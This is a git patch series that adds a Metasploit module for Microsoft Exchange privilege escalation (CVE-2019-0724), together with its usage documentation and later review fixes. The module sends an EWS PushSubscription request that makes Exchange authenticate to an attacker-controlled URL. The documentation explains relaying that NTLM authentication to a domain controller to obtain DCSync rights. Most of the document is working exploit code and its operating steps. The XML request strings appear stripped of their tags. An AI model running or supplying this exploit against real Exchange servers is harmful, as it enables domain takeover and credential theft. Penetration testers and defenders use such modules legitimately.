From 949d140326f754102846d5e0ceb5b86f62a490a7 Mon Sep 17 00:00:00 2001 From: root Date: Sat, 16 Feb 2019 02:04:40 +0000 Subject: [PATCH 01/19] Added auxiliary module code --- .../exchange_web_server_pushsubscription.rb | 131 ++++++++++++++++++ 1 file changed, 131 insertions(+) create mode 100644 modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb new file mode 100644 index 0000000000000..ee93da10300f6 --- /dev/null +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/ntlm/message' +require 'rex/proto/http' +require 'metasploit/framework/credential_collection' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + + def initialize + super( + 'Name' => 'Microsoft Exchange Privilege Escalation Exploit', + 'Description' => %q{ + This module exploits a privilege escalation vulnerability found in Microsoft Exchange - CVE-2019-0686 + Execution of the module will force Exchange to authenticate to an arbitrary URL over HTTP via the Exchange PushSubscription feature. + This allows us to relay the NTLM authentication to a Domain Controller and authenticate with the privileges that Exchange is configured. + The module is based on the work by @_dirkjan, + }, + 'Author' => 'Petros Koutroumpis', + 'Reference' => + [ + [ 'CVE-2019-0686' ], + [ 'https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/' ] + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Jan 21 2019' + ) + + register_options( + [ + OptString.new('USERNAME', [ true, "Username for authentication", nil ]), + OptString.new('PASSWORD', [ true, "Password for authentication", nil ]), + OptString.new('DOMAIN', [ true, "The Active Directory domain name", nil ]), + OptString.new('TARGETURI', [ true, "The location of the NTLM service", "/EWS/Exchange.asmx" ]), + OptString.new('EXCHANGE_VERSION', [ true, "Version of Exchange (2013|2016)", "2016" ]), + OptString.new('ATTACKER_URL', [ true, "Attacker URL", nil ]), + OptBool.new('SSL', [true, "Negotiate SSL/TLS for outgoing connections", true]), + Opt::RPORT(443), + ]) + end + + def run + + domain = datastore['DOMAIN'] + uri = datastore['TARGETURI'] + exchange_version = datastore['EXCHANGE_VERSION'] + attacker_url = datastore['ATTACKER_URL'] + + req_data = "" + "\r\n" + req_data += "" + "\r\n" + req_data += "" + "\r\n" + req_data += "" + "\r\n" + req_data += "" + "\r\n" + req_data += "" + "\r\n" + req_data += "" + "\r\n" + req_data += "" + "\r\n" + req_data += "" + "\r\n" + req_data += "NewMailEvent" + "\r\n" + req_data += "ModifiedEvent" + "\r\n" + req_data += "MovedEvent" + "\r\n" + req_data += "" + "\r\n" + req_data += "1" + "\r\n" + req_data += ""+attacker_url+"" + "\r\n" + req_data += "" + "\r\n" + req_data += "" + "\r\n" + req_data += "" + "\r\n" + req_data += "" + "\r\n" + + http = nil + + http = Rex::Proto::Http::Client.new( + rhost, + rport.to_i, + {}, + ssl, + ssl_version, + proxies, + datastore['USERNAME'], + datastore['PASSWORD'] + ) + + http.set_config({ 'preferred_auth' => 'NTLM' }) + http.set_config({ 'domain' => domain }) + add_socket(http) + + + req = http.request_raw({ + 'uri' => uri, + 'method' => 'POST', + 'ctype' => 'text/xml; charset=utf-8', + 'headers' => { + 'Accept' => 'text/xml' + }, + 'data' => req_data + }) + + begin + res = http.send_recv(req) + xml = res.get_xml_document + http.close + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT, ::Rex::HostUnreachable + print_error("Connection failed") + rescue OpenSSL::SSL::SSLError, OpenSSL::Cipher::CipherError + print_error "SSL negotiation failed" + end + + if res.code == 200 + print_good("Exchange returned HTTP status 200 - Authentication was sucessful") + if xml.text.include? "NoError" + print_good("API call was successful") + elsif xml.text.include? "ErrorMissingEmailAddress" + print_error("The user does not have a mailbox associated. Try a different user.") + else + print_error("Unknown error. Response: " + xml.text) + end + elsif res.code == 401 + print_error("Server returned HTTP status 401 - Authentication failed") + else + if res.code == 500 + if xml.text.include? "ErrorInvalidServerVersion" + print_error("Server does not accept this Exchange dialect. Specify a different Exchange version") + end + else + print_error("Server returned HTTP " + res.code + ": " + xml.text) + end + end + end +end From 51df27636d0e2affd1a100bf60ad7ad950320dbb Mon Sep 17 00:00:00 2001 From: pkb1s Date: Sat, 16 Feb 2019 02:34:14 +0000 Subject: [PATCH 02/19] Add documentation --- .../exchange_web_server_pushsubscription.md | 35 +++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.md diff --git a/documentation/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.md b/documentation/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.md new file mode 100644 index 0000000000000..990e4ab6d4a69 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.md @@ -0,0 +1,35 @@ +## Vulnerable Application + + * Microsoft Exchange 2013 and 2016 + * Tested on Exchange 2016 + * Usage: + * Download and install Exchange Server within a Windows domain + * Setup a mailbox with a domain user + * Run the module + * Relay the NTLM authentication to the DC + +## Verification Steps + + Example steps in this format (is also in the PR): + + 1. Install IBM MQ Server 7.5, 8, or 9 + 2. Start msfconsole + 3. Do: ```use auxiliary/scanner/http/exchange_web_server_pushsubscription``` + 4. Do: ```set attacker_url ``` + 6. Do: ```set rport ``` + 5. Do: ```set rhost ``` + 6. Do: ```set domain ``` + 6. Do: ```set password ``` + 6. Do: ```set username ``` + 7. Do: ```run``` + +## Options + + **The ATTACKER_URL option** + + This option should contain a URL under the attacker's control. This is where the Exchange will try to authenticate. + +## Scenarios + + This module can be used to make a request to the Exchange server and force it to authenticate to a URL under our control. + An example scenario is that when this module is combined with an NTLM relay attack, if the Exchange server has the necessary permissions it is possible to grant us DCSync rights. From 72f73c59eef891041ddcee0bc54b3b1d43a4e2c4 Mon Sep 17 00:00:00 2001 From: pkb1s Date: Sat, 16 Feb 2019 02:37:18 +0000 Subject: [PATCH 03/19] Update exchange_web_server_pushsubscription.md --- .../exchange_web_server_pushsubscription.md | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.md b/documentation/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.md index 990e4ab6d4a69..a5cbdda96b652 100644 --- a/documentation/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.md +++ b/documentation/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.md @@ -10,18 +10,17 @@ ## Verification Steps - Example steps in this format (is also in the PR): + Example steps: - 1. Install IBM MQ Server 7.5, 8, or 9 - 2. Start msfconsole - 3. Do: ```use auxiliary/scanner/http/exchange_web_server_pushsubscription``` - 4. Do: ```set attacker_url ``` - 6. Do: ```set rport ``` + 1. Start msfconsole + 2. Do: ```use auxiliary/scanner/http/exchange_web_server_pushsubscription``` + 3. Do: ```set attacker_url ``` + 4. Do: ```set rport ``` 5. Do: ```set rhost ``` 6. Do: ```set domain ``` - 6. Do: ```set password ``` - 6. Do: ```set username ``` - 7. Do: ```run``` + 7. Do: ```set password ``` + 8. Do: ```set username ``` + 9. Do: ```run``` ## Options From 3a77cc9805c4d5e076642b75a83b68dbe7d07f32 Mon Sep 17 00:00:00 2001 From: pkb1s Date: Sat, 16 Feb 2019 02:38:55 +0000 Subject: [PATCH 04/19] Update exchange_web_server_pushsubscription.rb --- .../scanner/http/exchange_web_server_pushsubscription.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb index ee93da10300f6..77b772523ed4d 100644 --- a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -5,7 +5,6 @@ require 'rex/proto/ntlm/message' require 'rex/proto/http' -require 'metasploit/framework/credential_collection' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient From e12052a83e4626b36e3506b48ccadc89a086da0e Mon Sep 17 00:00:00 2001 From: pkb1s Date: Sat, 16 Feb 2019 13:19:07 +0000 Subject: [PATCH 05/19] Update exchange_web_server_pushsubscription.md --- .../scanner/http/exchange_web_server_pushsubscription.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/documentation/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.md b/documentation/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.md index a5cbdda96b652..ec76b8877fc8c 100644 --- a/documentation/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.md +++ b/documentation/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.md @@ -28,6 +28,9 @@ This option should contain a URL under the attacker's control. This is where the Exchange will try to authenticate. + **The PASSWORD option** + This can be either the password or the NTLM hash of any domain user with a mailbox configured on Exchange. + ## Scenarios This module can be used to make a request to the Exchange server and force it to authenticate to a URL under our control. From 1999f6885b54b8efa54916159f772d7a9e7a2a84 Mon Sep 17 00:00:00 2001 From: pkb1s Date: Sat, 16 Feb 2019 13:26:02 +0000 Subject: [PATCH 06/19] Minor changes to module options --- .../scanner/http/exchange_web_server_pushsubscription.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb index 77b772523ed4d..6b9bfc2cb40d5 100644 --- a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -30,10 +30,10 @@ def initialize register_options( [ - OptString.new('USERNAME', [ true, "Username for authentication", nil ]), - OptString.new('PASSWORD', [ true, "Password for authentication", nil ]), + OptString.new('USERNAME', [ true, "Username of any domain user with a mailbox on Exchange", nil ]), + OptString.new('PASSWORD', [ true, "Password or password hash (in LM:NT format) of the user", nil ]), OptString.new('DOMAIN', [ true, "The Active Directory domain name", nil ]), - OptString.new('TARGETURI', [ true, "The location of the NTLM service", "/EWS/Exchange.asmx" ]), + OptString.new('TARGETURI', [ true, "Exchange Web Services API endpoint", "/EWS/Exchange.asmx" ]), OptString.new('EXCHANGE_VERSION', [ true, "Version of Exchange (2013|2016)", "2016" ]), OptString.new('ATTACKER_URL', [ true, "Attacker URL", nil ]), OptBool.new('SSL', [true, "Negotiate SSL/TLS for outgoing connections", true]), From e06d7e2deded321baaaeb2391c64d9a13d267683 Mon Sep 17 00:00:00 2001 From: pkb1s Date: Sun, 17 Feb 2019 21:36:30 +0000 Subject: [PATCH 07/19] correction of CVE number --- .../scanner/http/exchange_web_server_pushsubscription.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb index 6b9bfc2cb40d5..75b559a7e82df 100644 --- a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -13,7 +13,7 @@ def initialize super( 'Name' => 'Microsoft Exchange Privilege Escalation Exploit', 'Description' => %q{ - This module exploits a privilege escalation vulnerability found in Microsoft Exchange - CVE-2019-0686 + This module exploits a privilege escalation vulnerability found in Microsoft Exchange - CVE-2019-0724 Execution of the module will force Exchange to authenticate to an arbitrary URL over HTTP via the Exchange PushSubscription feature. This allows us to relay the NTLM authentication to a Domain Controller and authenticate with the privileges that Exchange is configured. The module is based on the work by @_dirkjan, @@ -21,7 +21,7 @@ def initialize 'Author' => 'Petros Koutroumpis', 'Reference' => [ - [ 'CVE-2019-0686' ], + [ 'CVE-2019-0724' ], [ 'https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/' ] ], 'License' => MSF_LICENSE, From 7734f436e91af5a73222e66b362b78bcc40f934d Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 4 Mar 2019 17:04:24 +0000 Subject: [PATCH 08/19] Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb Co-Authored-By: pkb1s --- .../scanner/http/exchange_web_server_pushsubscription.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb index 75b559a7e82df..7447a577ef77a 100644 --- a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -123,7 +123,7 @@ def run print_error("Server does not accept this Exchange dialect. Specify a different Exchange version") end else - print_error("Server returned HTTP " + res.code + ": " + xml.text) + print_error("Server returned HTTP #{res.code}: #{xml.text}) end end end From 40ff19a0c3f5486d68d736b8bfe862bc371cb5e1 Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 4 Mar 2019 17:04:34 +0000 Subject: [PATCH 09/19] Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb Co-Authored-By: pkb1s --- .../scanner/http/exchange_web_server_pushsubscription.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb index 7447a577ef77a..eb54354eb5ee8 100644 --- a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -107,7 +107,7 @@ def run end if res.code == 200 - print_good("Exchange returned HTTP status 200 - Authentication was sucessful") + print_good("Exchange returned HTTP status 200 - Authentication was successful") if xml.text.include? "NoError" print_good("API call was successful") elsif xml.text.include? "ErrorMissingEmailAddress" From 2286824645d444b7140a1efcffd47ed6da3d898d Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 4 Mar 2019 17:04:49 +0000 Subject: [PATCH 10/19] Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb Co-Authored-By: pkb1s --- .../scanner/http/exchange_web_server_pushsubscription.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb index eb54354eb5ee8..ad2540f0bb5eb 100644 --- a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -30,7 +30,7 @@ def initialize register_options( [ - OptString.new('USERNAME', [ true, "Username of any domain user with a mailbox on Exchange", nil ]), + OptString.new('USERNAME', [ true, "Username of any domain user with a mailbox on Exchange"]), OptString.new('PASSWORD', [ true, "Password or password hash (in LM:NT format) of the user", nil ]), OptString.new('DOMAIN', [ true, "The Active Directory domain name", nil ]), OptString.new('TARGETURI', [ true, "Exchange Web Services API endpoint", "/EWS/Exchange.asmx" ]), From 62054ed096a66a0820501631f31afccb4fab0d3e Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 4 Mar 2019 17:06:04 +0000 Subject: [PATCH 11/19] Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb Co-Authored-By: pkb1s --- .../scanner/http/exchange_web_server_pushsubscription.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb index ad2540f0bb5eb..1f46667abc009 100644 --- a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -31,7 +31,7 @@ def initialize register_options( [ OptString.new('USERNAME', [ true, "Username of any domain user with a mailbox on Exchange"]), - OptString.new('PASSWORD', [ true, "Password or password hash (in LM:NT format) of the user", nil ]), + OptString.new('PASSWORD', [ true, "Password or password hash (in LM:NT format) of the user"]), OptString.new('DOMAIN', [ true, "The Active Directory domain name", nil ]), OptString.new('TARGETURI', [ true, "Exchange Web Services API endpoint", "/EWS/Exchange.asmx" ]), OptString.new('EXCHANGE_VERSION', [ true, "Version of Exchange (2013|2016)", "2016" ]), From b43f6e8173ee988472946ac49d25b33921f28fd8 Mon Sep 17 00:00:00 2001 From: pkb1s Date: Mon, 4 Mar 2019 17:09:17 +0000 Subject: [PATCH 12/19] updated author section --- .../scanner/http/exchange_web_server_pushsubscription.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb index 1f46667abc009..c6d2552e2a3bd 100644 --- a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -18,7 +18,10 @@ def initialize This allows us to relay the NTLM authentication to a Domain Controller and authenticate with the privileges that Exchange is configured. The module is based on the work by @_dirkjan, }, - 'Author' => 'Petros Koutroumpis', + 'Author' => [ + '@_dirkjan', # Discovery and PoC + 'Petros Koutroumpis' # Metasploit + ] 'Reference' => [ [ 'CVE-2019-0724' ], From 3196b6bacb5a6a332e9ec6bb8f61779d5ff90ece Mon Sep 17 00:00:00 2001 From: bcoles Date: Mon, 4 Mar 2019 17:11:00 +0000 Subject: [PATCH 13/19] Update modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb Co-Authored-By: pkb1s --- .../scanner/http/exchange_web_server_pushsubscription.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb index c6d2552e2a3bd..ed3098f71cac0 100644 --- a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -35,7 +35,7 @@ def initialize [ OptString.new('USERNAME', [ true, "Username of any domain user with a mailbox on Exchange"]), OptString.new('PASSWORD', [ true, "Password or password hash (in LM:NT format) of the user"]), - OptString.new('DOMAIN', [ true, "The Active Directory domain name", nil ]), + OptString.new('DOMAIN', [ true, "The Active Directory domain name"]), OptString.new('TARGETURI', [ true, "Exchange Web Services API endpoint", "/EWS/Exchange.asmx" ]), OptString.new('EXCHANGE_VERSION', [ true, "Version of Exchange (2013|2016)", "2016" ]), OptString.new('ATTACKER_URL', [ true, "Attacker URL", nil ]), From 12ffc2a8119fdee74b039520ae61dcd41ecbff0f Mon Sep 17 00:00:00 2001 From: pkb1s Date: Mon, 4 Mar 2019 17:17:22 +0000 Subject: [PATCH 14/19] changed reference structure --- .../scanner/http/exchange_web_server_pushsubscription.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb index ed3098f71cac0..54af40cec6b0b 100644 --- a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -24,8 +24,7 @@ def initialize ] 'Reference' => [ - [ 'CVE-2019-0724' ], - [ 'https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/' ] + [ 'URL' , 'https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/' ] ], 'License' => MSF_LICENSE, 'DisclosureDate' => 'Jan 21 2019' From 794e74c25bb7a43b7fe88efcbad728e61aa7cbae Mon Sep 17 00:00:00 2001 From: pkb1s Date: Mon, 4 Mar 2019 17:18:52 +0000 Subject: [PATCH 15/19] added cve in reference --- .../scanner/http/exchange_web_server_pushsubscription.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb index 54af40cec6b0b..47feab1d1b4b6 100644 --- a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -22,9 +22,10 @@ def initialize '@_dirkjan', # Discovery and PoC 'Petros Koutroumpis' # Metasploit ] - 'Reference' => + 'References' => [ - [ 'URL' , 'https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/' ] + [ 'CVE', '2019-0724' ], + [ 'URL', 'https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/' ] ], 'License' => MSF_LICENSE, 'DisclosureDate' => 'Jan 21 2019' From d0ab5283816c7b4847458e109dbffe594d5d2ebb Mon Sep 17 00:00:00 2001 From: pkb1s Date: Mon, 4 Mar 2019 18:15:05 +0000 Subject: [PATCH 16/19] Update exchange_web_server_pushsubscription.rb --- .../scanner/http/exchange_web_server_pushsubscription.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb index 47feab1d1b4b6..ff44cc8f594d9 100644 --- a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -19,7 +19,7 @@ def initialize The module is based on the work by @_dirkjan, }, 'Author' => [ - '@_dirkjan', # Discovery and PoC + '_dirkjan', # Discovery and PoC 'Petros Koutroumpis' # Metasploit ] 'References' => From 8e855867a9ab958aef5134fa2aac79219fa573db Mon Sep 17 00:00:00 2001 From: pkb1s Date: Mon, 4 Mar 2019 18:39:30 +0000 Subject: [PATCH 17/19] Update exchange_web_server_pushsubscription.rb --- .../http/exchange_web_server_pushsubscription.rb | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb index ff44cc8f594d9..a657219366757 100644 --- a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -21,12 +21,17 @@ def initialize 'Author' => [ '_dirkjan', # Discovery and PoC 'Petros Koutroumpis' # Metasploit - ] + ], 'References' => [ [ 'CVE', '2019-0724' ], [ 'URL', 'https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/' ] ], + 'DefaultOptions' => + { + 'SSL' => true, + 'RPORT' => 443 + }, 'License' => MSF_LICENSE, 'DisclosureDate' => 'Jan 21 2019' ) @@ -38,9 +43,7 @@ def initialize OptString.new('DOMAIN', [ true, "The Active Directory domain name"]), OptString.new('TARGETURI', [ true, "Exchange Web Services API endpoint", "/EWS/Exchange.asmx" ]), OptString.new('EXCHANGE_VERSION', [ true, "Version of Exchange (2013|2016)", "2016" ]), - OptString.new('ATTACKER_URL', [ true, "Attacker URL", nil ]), - OptBool.new('SSL', [true, "Negotiate SSL/TLS for outgoing connections", true]), - Opt::RPORT(443), + OptString.new('ATTACKER_URL', [ true, "Attacker URL", nil ]) ]) end @@ -126,7 +129,7 @@ def run print_error("Server does not accept this Exchange dialect. Specify a different Exchange version") end else - print_error("Server returned HTTP #{res.code}: #{xml.text}) + print_error("Server returned HTTP #{res.code}: #{xml.text}") end end end From 828eee12ebc182d715d8c1737b89700a4815ae5a Mon Sep 17 00:00:00 2001 From: pkb1s Date: Mon, 4 Mar 2019 19:31:49 +0000 Subject: [PATCH 18/19] using "return early, return often" style --- .../exchange_web_server_pushsubscription.rb | 50 ++++++++++++------- 1 file changed, 31 insertions(+), 19 deletions(-) diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb index a657219366757..601c45c2f04a5 100644 --- a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -112,25 +112,37 @@ def run print_error "SSL negotiation failed" end - if res.code == 200 - print_good("Exchange returned HTTP status 200 - Authentication was successful") - if xml.text.include? "NoError" - print_good("API call was successful") - elsif xml.text.include? "ErrorMissingEmailAddress" - print_error("The user does not have a mailbox associated. Try a different user.") - else - print_error("Unknown error. Response: " + xml.text) - end - elsif res.code == 401 - print_error("Server returned HTTP status 401 - Authentication failed") - else - if res.code == 500 - if xml.text.include? "ErrorInvalidServerVersion" - print_error("Server does not accept this Exchange dialect. Specify a different Exchange version") - end - else - print_error("Server returned HTTP #{res.code}: #{xml.text}") - end + if res.nil? + fail_with(Failure::Unreachable, 'Connection failed') end + + if res.code == 401 + fail_with(Failure::NoAccess, 'Server returned HTTP status 401 - Authentication failed') + end + + if xml.nil? + fail_with(Failure::UnexpectedReply, "Empty reply from server") + end + + if res.code == 500 && xml.text.include?("ErrorInvalidServerVersion") + fail_with(Failure::BadConfig, "Server does not accept this Exchange dialect. Specify a different Exchange version") + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, "Server returned HTTP #{res.code}: #{xml.text}") + end + + print_good("Exchange returned HTTP status 200 - Authentication was successful") + + if xml.text.include? "ErrorMissingEmailAddress" + fail_with(Failure::BadConfig, "The user does not have a mailbox associated. Try a different user.") + end + + unless xml.text.include? "NoError" + fail_with(Failure::Unknown, "Unknown error. Response: #{xml.text}") + end + + print_good("API call was successful") + end end From 8eed4c7545ba2dd005a42d6997a46174673d3916 Mon Sep 17 00:00:00 2001 From: pkb1s Date: Tue, 15 Oct 2019 15:43:55 +0100 Subject: [PATCH 19/19] Update exchange_web_server_pushsubscription.rb --- .../scanner/http/exchange_web_server_pushsubscription.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb index 601c45c2f04a5..2573315f22422 100644 --- a/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb +++ b/modules/auxiliary/scanner/http/exchange_web_server_pushsubscription.rb @@ -33,7 +33,7 @@ def initialize 'RPORT' => 443 }, 'License' => MSF_LICENSE, - 'DisclosureDate' => 'Jan 21 2019' + 'DisclosureDate' => '2019-01-21' ) register_options(